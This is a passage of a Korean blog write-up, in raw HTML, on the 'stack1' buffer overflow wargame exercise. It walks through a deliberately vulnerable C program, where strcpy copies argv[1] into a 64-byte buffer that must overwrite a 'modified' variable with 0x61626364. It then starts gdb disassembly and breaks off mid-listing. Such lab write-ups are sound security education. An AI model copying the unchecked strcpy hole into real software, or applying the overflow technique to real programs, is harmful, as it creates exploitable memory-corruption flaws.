style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;volatile keyword로 4 byte int type&amp;nbsp;변수 modified를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;64 byte char type array buffer를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;volatile&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;modified;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack1을 실행할 때 파일의 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;파라미터가 없다면&lt;/span&gt;, &quot;please specify an argument\n&quot;를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(argc&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;errx(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;please&amp;nbsp;specify&amp;nbsp;an&amp;nbsp;argument\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;modified 변수를 0으로 초기화하고, 첫 번째 인자를 buffer array에 복사한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;modified&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(buffer,&amp;nbsp;argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 modified가 &quot;0x61626364&quot;이면, &quot;you have correctly got the variable to the right value\n&quot;를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 modified가 &quot;0x61626364&quot; 아니면, &quot;Try again, you got modified&quot;를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(modified&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x61626364&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;you&amp;nbsp;have&amp;nbsp;correctly&amp;nbsp;got&amp;nbsp;the&amp;nbsp;variable&amp;nbsp;to&amp;nbsp;the&amp;nbsp;right&amp;nbsp;value\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Try&amp;nbsp;again,&amp;nbsp;you&amp;nbsp;got&amp;nbsp;0x%08x\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;modified);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack0과 매우 유사한 형태다. 하지만 stack1의 초점은 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;modified를 정확히 &quot;0x61626364&quot;로 초기화&lt;/span&gt; 해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 파라미터를 가지지 않으면 아래와 같이 나오고, stack0와 같이 너무 작은 값을 입력하여 modified를 변경시키지 못할때, overflow를 발생시켰지만 modified 값이 &quot;0x61626364&quot;로 변경되지 않을때는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 722px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B23E475C31593A32&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B23E475C31593A32&quot; width=&quot;722&quot; height=&quot;237&quot; filename=&quot;이미지 009.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;gdb를 이용해 stack1의 elf 파일이 어떤 stack 구조를 가지고 있는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 717px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9903BC445C3158282D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9903BC445C3158282D&quot; width=&quot;717&quot; height=&quot;740&quot; filename=&quot;이미지 008.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack0에서 본 stack과 정확히 같은 구조를 가지고 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다만 분석을 위해 parameter를 어디서 얻어오는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;일반적으로 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;strcpy() 함수를 호출할 때, copy 할 source를 rsi, copy 될 destination을 rdi&lt;/span&gt;로 설정한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 rdi는 buffer의 주소 source는 parameter의 주소가 될 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;0x0000000000401184 &amp;lt;+50&amp;gt;:&lt;/span&gt;&lt;span style=&quot;white-space: pre; font-size: 14pt;&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;mov&amp;nbsp; &amp;nbsp; rax,QWORD PTR [rbp-0x60]&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;0x0000000000401188 &amp;lt;+54&amp;gt;:&lt;/span&gt;&lt;span style=&quot;white-space: pre; font-size: 14pt;&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;add&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;rax,0x8&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;0x000000000040118c &amp;lt;+58&amp;gt;:&lt;/span&gt;&lt;span style=&quot;white-space: pre; font-size: 14pt;&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;mov&amp;nbsp; &amp;nbsp; rdx,QWORD PTR [rax]&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;0x000000000040118f &amp;lt;+61&amp;gt;:&lt;/span&gt;&lt;span style=&quot;white-space: pre; font-size: 14pt;&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;lea&amp;nbsp; &amp;nbsp; &amp;nbsp;rax,[rbp-0x50]&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;0x0000000000401193 &amp;lt;+65&amp;gt;:&lt;/span&gt;&lt;span style=&quot;white-space: pre; font-size: 14pt;&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;mov&amp;nbsp; 